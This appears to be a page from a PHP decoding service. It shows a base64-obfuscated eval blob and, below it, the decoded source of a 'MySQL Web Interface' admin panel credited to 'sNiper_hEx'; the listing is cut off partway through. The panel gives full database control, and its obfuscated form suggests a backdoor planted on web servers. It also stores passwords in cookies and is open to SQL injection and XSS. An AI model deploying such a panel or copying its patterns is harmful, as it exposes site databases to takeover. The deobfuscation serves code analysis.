Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode('LyoNCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyDQ ogKiAtLS0tLS0t..

Decoded Output download

/*
 * MySQL Web Interface Version 2
 * -------------------------------
 * Developed By sNiper_hEx
*/

if ( function_exists('ini_get') ) {
	$onoff = ini_get('register_globals');
} else {
	$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
	@extract($HTTP_SERVER_VARS, EXTR_SKIP);
	@extract($HTTP_COOKIE_VARS, EXTR_SKIP);
	@extract($HTTP_POST_FILES, EXTR_SKIP);
	@extract($HTTP_POST_VARS, EXTR_SKIP);
	@extract($HTTP_GET_VARS, EXTR_SKIP);
	@extract($HTTP_ENV_VARS, EXTR_SKIP);
}

function logon() {
	global $PHP_SELF;

	setcookie( "mysql_web_admin_username" );
	setcookie( "mysql_web_admin_password" );
	setcookie( "mysql_web_admin_hostname" );
	echo "<html>
";
	echo "<head>
";
	echo "<title>MySQL Interface</title>
";
	echo "</head>
";
	echo "<body>
";
	echo "<table width=100% height=100%><tr><td><center>
";
	echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>
";
	echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>
";
	echo "<h1>MySQL Web Interface</h1>
";
	echo "<form action='$PHP_SELF'>
";
	echo "<input type=hidden name=action value=logon_submit>
";
	echo "<table cellpadding=5 cellspacing=1>
";
	echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>
";
	echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>
";
	echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>
";
	echo "</table><p>
";
	echo "<input type=submit value='Enter'>
";
	echo "<input type=reset value='Clear'><br>
";
	echo "</form>
";
	echo "</center></td></tr></table>
";
	echo "</center></td></tr></table>
";
	echo "<p><hr width=300>
";
	echo "</center></td></tr></table>
";
	echo "</body>
";
	echo "</html>
";
}

function logon_submit() {
	global $username, $password, $hostname ,$PHP_SELF;
	if($hostname =='')
		$hostname = 'localhost';
	setcookie( "mysql_web_admin_username", $username );
	setcookie( "mysql_web_admin_password", $password );
	setcookie( "mysql_web_admin_hostname", $hostname );
	echo "<html>";
	echo "<head>";
	echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
	echo "</head>";
	echo "</html>";
}

function echoQueryResult() {
	global $queryStr, $errMsg;

	if( $errMsg == "" ) $errMsg = "Success";
	if( $queryStr != "" ) {
		echo "<table cellpadding=5>
";
		echo "<tr><td>Query</td><td>$queryStr</td></tr>
";
		echo "<tr><td>Result</td><td>$errMsg</td></tr>
";
		echo "</table><p>
";
	}
}

function listDatabases() {
	global $mysqlHandle, $PHP_SELF;

	echo "<h1>Databases List</h1>
";

	echo "<form action='$PHP_SELF'>
";
	echo "<input type=hidden name=action value=createDB>
";
	echo "<input type=text name=dbname>
";
	echo "<input type=submit value='Create Database'>
";
	echo "</form>
";
	echo "<hr>
";

	echo "<table cellspacing=1 cellpadding=5>
";

	$pDB = mysql_list_dbs( $mysqlHandle );
	$num = mysql_num_rows( $pDB );
	for( $i = 0; $i < $num; $i++ ) {
		$dbname = mysql_dbname( $pDB, $i );
		echo "<tr>
";
		echo "<td>$dbname</td>
";
		echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>
";
		echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>
";
		echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>
";
		echo "</tr>
";
	}
	echo "</table>
";
}

function createDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_create_db( $dbname, $mysqlHandle );
	listDatabases();
}

function dropDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_drop_db( $dbname, $mysqlHandle );
	listDatabases();
}

function listTables() {
	global $mysqlHandle, $dbname, $PHP_SELF;


	echo "<h1>Tables List</h1>
";
	echo "<p class=location>$dbname</p>
";
	echoQueryResult();
	echo "<form action='$PHP_SELF'>
";
	echo "<input type=hidden name=action value=createTable>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=text name=tablename>
";
	echo "<input type=submit value='Create Table'>
";
	echo "</form>
";
	echo "<form action='$PHP_SELF'>
";
	echo "<input type=hidden name=action value=query>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=text size=120 name=queryStr>
";
	echo "<input type=submit value='Query'>
";
	echo "</form>
";
	echo "<hr>
";

	$pTable = mysql_list_tables( $dbname );

	if( $pTable == 0 ) {
		$msg  = mysql_error();
		echo "<h3>Error : $msg</h3><p>
";
		return;
	}
	$num = mysql_num_rows( $pTable );

	echo "<table cellspacing=1 cellpadding=5>
";

	for( $i = 0; $i < $num; $i++ ) {
		$tablename = mysql_tablename( $pTable, $i );

		echo "<tr>
";
		echo "<td>
";
		echo "$tablename
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>
";
		echo "</td>
";
		echo "</tr>
";
	}

	echo "</table>";
}

function createTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "CREATE TABLE $tablename ( no INT )";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function dropTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "DROP TABLE $tablename";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function viewSchema() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	echo "<h1>Table Schema</h1>
";
	echo "<p class=location>$dbname &gt; $tablename</p>
";

	echoQueryResult();

	echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | 
";
	echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>
";
	echo "<hr>
";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	echo "<table cellspacing=1 cellpadding=5>
";
	echo "<tr>
";
	echo "<th>Field</th>
";
	echo "<th>Type</th>
";
	echo "<th>Null</th>
";
	echo "<th>Key</th>
";
	echo "<th>Default</th>
";
	echo "<th>Extra</th>
";
	echo "<th colspan=2>Action</th>
";
	echo "</tr>
";


	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		echo "<tr>
";
		echo "<td>".$field["Field"]."</td>
";
		echo "<td>".$field["Type"]."</td>
";
		echo "<td>".$field["Null"]."</td>
";
		echo "<td>".$field["Key"]."</td>
";
		echo "<td>".$field["Default"]."</td>
";
		echo "<td>".$field["Extra"]."</td>
";
		$fieldname = $field["Field"];
		echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>
";
		echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>
";
		echo "</tr>
";
	}
	echo "</table>
";

}

function manageField( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Field</h1>
";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Field</h1>
";
		$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
		$num = mysql_num_rows( $pResult );
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_array( $pResult );
			if( $field["Field"] == $fieldname ) {
				$fieldtype = $field["Type"];
				$fieldkey = $field["Key"];
				$fieldextra = $field["Extra"];
				$fieldnull = $field["Null"];
				$fielddefault = $field["Default"];
				break;
			}
		}
		$type = strtok( $fieldtype, " (,)
" );
		if( strpos( $fieldtype, "(" ) ) {
			if( $type == "enum" | $type == "set" ) {
				$valuelist = strtok( " ()
" );
			} else {
				$M = strtok( " (,)
" );
				if( strpos( $fieldtype, "," ) )
					$D = strtok( " (,)
" );
			}
		}
	}

	echo "<p class=location>$dbname &gt; $tablename</p>
";
	echo "<form action=$PHP_SELF>
";

	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addField_submit>
";
	else if( $cmd == "edit" ) {
		echo "<input type=hidden name=action value=editField_submit>
";
		echo "<input type=hidden name=old_name value=$fieldname>
";
	}
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=hidden name=tablename value=$tablename>
";

	echo "<h3>Name</h3>
";
	echo "<input type=text name=name value=$fieldname><p>
";
	echo '

<h3>Type</h3>

<font size=2>
* `M\' indicates the maximum display size.<br>
* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>

<table>
<tr>
<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>
<tr>
<td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>

<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr> 
<tr>
<td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
<td colspan=5><center>value list</center></td>
</tr>
<tr>
<td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
<td colspan=5><center>value list</center></td>
</tr>

</table>
<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
<td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
<td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
</tr>
</table>


<h3>Flags</h3>
<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
<tr>
<td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
<td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
</tr>
</table>

<p>';

	if( $cmd == "add" )
		echo "<input type=submit value='Add Field'>
";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Field'>
";
	echo "<input type=button value=Cancel onClick='history.back()'>
";
	echo "</form>
";
}

function manageField_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
		$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;

	if( $cmd == "add" )
		$queryStr = "ALTER TABLE $tablename ADD $name ";
	else if( $cmd == "edit" )
		$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
	
	if( $M != "" )
		if( $D != "" )
			$queryStr .= "$type($M,$D) ";
		else
			$queryStr .= "$type($M) ";
	else if( $valuelist != "" ) {
		$valuelist = stripslashes( $valuelist );
		$queryStr .= "$type($valuelist) ";
	} else
		$queryStr .= "$type ";

	$queryStr .= "$unsigned $zerofill $binary ";

	if( $default_value != "" )
		$queryStr .= "DEFAULT '$default_value' ";
	
	$queryStr .= "$not_null $auto_increment";

	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	// key change
	$keyChange = false;
	$result = mysql_query( "SHOW KEYS FROM $tablename" );
	$primary = "";
	while( $row = mysql_fetch_array($result) )
		if( $row["Key_name"] == "PRIMARY" ) {
			if( $row[Column_name] == $name )
				$keyChange = true;
			else
				$primary .= ", $row[Column_name]";
		}
	if( $primary_key == "PRIMARY KEY" ) {
		$primary .= ", $name";
		$keyChange = !$keyChange;
	}
	$primary = substr( $primary, 2 );
	if( $keyChange == true ) {
		$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
		mysql_query( $q );
		$queryStr .= "<br>
" . $q;
		$errMsg .= "<br>
" . mysql_error();
		$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
		mysql_query( $q );
		$queryStr .= "<br>
" . $q;
		$errMsg .= "<br>
" . mysql_error();
	}

	viewSchema();
}

function dropField() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewSchema();
}

function viewData( $queryStr ) {
	global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;

	echo "<h1>Data in Table</h1>
";
	if( $tablename != "" )
		echo "<p class=location>$dbname &gt; $tablename</p>
";
	else
		echo "<p class=location>$dbname</p>
";

	$queryStr = stripslashes( $queryStr );
	if( $queryStr == "" ) {
		$queryStr = "SELECT * FROM $tablename";
		if( $orderby != "" )
			$queryStr .= " ORDER BY $orderby";
		echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | 
";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>
";
	}

	$pResult = mysql_db_query( $dbname, $queryStr );
	$fieldt = mysql_fetch_field($pResult);
	$tablename = $fieldt->table;
	$errMsg = mysql_error();

	$GLOBALS[queryStr] = $queryStr;

	if( $pResult == false ) {
		echoQueryResult();
		return;
	}
	if( $pResult == 1 ) {
		$errMsg = "Success";
		echoQueryResult();
		return;
	}

	echo "<hr>
";

	$row = mysql_num_rows( $pResult );
	$col = mysql_num_fields( $pResult );

	if( $row == 0 ) {
		echo "No Data Exist!";
		return;
	}
	
	if( $rowperpage == "" ) $rowperpage = 30;
	if( $page == "" ) $page = 0;
	else $page--;
	mysql_data_seek( $pResult, $page * $rowperpage );

	echo "<table cellspacing=1 cellpadding=2>
";
	echo "<tr>
";
	for( $i = 0; $i < $col; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		echo "<th>";
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>
";
		else
			echo "<font	style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>
";
		echo "</th>
";
	}
	echo "<th colspan=2>Action</th>
";
	echo "</tr>
";

	for( $i = 0; $i < $rowperpage; $i++ ) {
		$rowArray = mysql_fetch_row( $pResult );
		if( $rowArray == false ) break;
		echo "<tr>
";
		$key = "";
		for( $j = 0; $j < $col; $j++ ) {
			$data = $rowArray[$j];

			$field = mysql_fetch_field( $pResult, $j );
			if( $field->primary_key == 1 )
				$key .= "&" . $field->name . "=" . $data;

			if( strlen( $data ) > 30 )
				$data = substr( $data, 0, 30 ) . "...";
			$data = htmlspecialchars( $data );
			echo "<td>
";
			echo "$data
";
			echo "</td>
";
		}
		 
		if( $key == "" )
			echo "<td colspan=2>no Key</td>
";
		else {
			echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>
";
			echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>
";
		}
		echo "</tr>
";
	}
	echo "</table>
";

	echo "<font size=2>
";
	if($action == "viewData")
		echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>
";
	else
		echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>
";
	echo "<font color=green>
";
	echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
	echo "</font>
";
	echo " | ";
	if( $page > 0 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Prev</a>
";
	} else
		echo "Prev";
	echo " | ";
	if( $page < ($row/$rowperpage)-1 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Next</a>
";
	} else
		echo "Next";
	echo " | ";
	if( $row > $rowperpage ) {
		echo "<input type=text size=4 name=page>
";
		echo "<input type=submit value='Go'>
";
	}
	echo "</form>
";
	echo "</font>
";
}

function manageData( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Data</h1>
";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Data</h1>
";
		$pResult = mysql_list_fields( $dbname, $tablename );
		$num = mysql_num_fields( $pResult );
	
		$key = "";
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			if( $field->primary_key == 1 )
				if( $field->numeric == 1 )
					$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
				else
					$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
		}
		$key = substr( $key, 0, strlen($key)-4 );

		mysql_select_db( $dbname, $mysqlHandle );
		$pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
		$data = mysql_fetch_array( $pResult );
	}

	echo "<p class=location>$dbname &gt; $tablename</p>
";

	echo "<form action='$PHP_SELF' method=post>
";
	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addData_submit>
";
	else if( $cmd == "edit" )
		echo "<input type=hidden name=action value=editData_submit>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=hidden name=tablename value=$tablename>
";
	echo "<table cellspacing=1 cellpadding=2>
";
	echo "<tr>
";
	echo "<th>Name</th>
";
	echo "<th>Type</th>
";
	echo "<th>Function</th>
";
	echo "<th>Data</th>
";
	echo "</tr>
";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$fieldtype = $field["Type"];
		$len = mysql_field_len( $pResultLen, $i );

		echo "<tr>";
		echo "<td>$fieldname</td>";
		echo "<td>".$field["Type"]."</td>";
		echo "<td>
";
		echo "<select name=${fieldname}_function>
";
		echo "<option>
";
		echo "<option>ASCII
";
		echo "<option>CHAR
";
		echo "<option>SOUNDEX
";
		echo "<option>CURDATE
";
		echo "<option>CURTIME
";
		echo "<option>FROM_DAYS
";
		echo "<option>FROM_UNIXTIME
";
		echo "<option>NOW
";
		echo "<option>PASSWORD
";
		echo "<option>PERIOD_ADD
";
		echo "<option>PERIOD_DIFF
";
		echo "<option>TO_DAYS
";
		echo "<option>USER
";
		echo "<option>WEEKDAY
";
		echo "<option>RAND
";
		echo "</select>
";
		echo "</td>
";
		$value = htmlspecialchars($data[$i]);
		if( $cmd == "add" ) {
			$type = strtok( $fieldtype, " (,)
" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>
";
				if( $type == "enum" )
					echo "<select name=$fieldname>
";
				else if( $type == "set" )
					echo "<select name=$fieldname size=4 multiple>
";
				while( $str = strtok( "'" ) ) {
					echo "<option>$str
";
					strtok( "'" );
				}
				echo "</select>
";
				echo "</td>
";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>
";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>
";
			}
		} else if( $cmd == "edit" ) {
			$type = strtok( $fieldtype, " (,)
" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>
";
				if( $type == "enum" )
					echo "<select name=$fieldname>
";
				else if( $type == "set" )
					echo "<select name=$fieldname size=4 multiple>
";
				while( $str = strtok( "'" ) ) {
					if( $value == $str )
						echo "<option selected>$str
";
					else
						echo "<option>$str
";
					strtok( "'" );
				}
				echo "</select>
";
				echo "</td>
";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>
";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>
";
			}
		}
		echo "</tr>";
	}
	echo "</table><p>
";
	if( $cmd == "add" )
		echo "<input type=submit value='Add Data'>
";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Data'>
";
	echo "<input type=button value='Cancel' onClick='history.back()'>
";
	echo "</form>
";
}

function manageData_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	mysql_select_db( $dbname, $mysqlHandle );
	if( $cmd == "add" )
		$queryStr = "INSERT INTO $tablename VALUES (";
	else if( $cmd == "edit" )
		$queryStr = "REPLACE INTO $tablename VALUES (";
	for( $i = 0; $i < $num-1; $i++ ) {
		$field = mysql_fetch_field( $pResult );
		$func = $GLOBALS[$field->name."_function"];
		if( $func != "" )
			$queryStr .= " $func(";
		if( $field->numeric == 1 ) {
			$queryStr .= $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "),";
			else
				$queryStr .= ",";
		} else {
			$queryStr .= "'" . $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "'),";
			else
				$queryStr .= "',";
		}
	}
	$field = mysql_fetch_field( $pResult );
	if( $field->numeric == 1 )
		$queryStr .= $GLOBALS[$field->name] . ")";
	else 
		$queryStr .= "'" . $GLOBALS[$field->name] . "')";

	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function deleteData() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

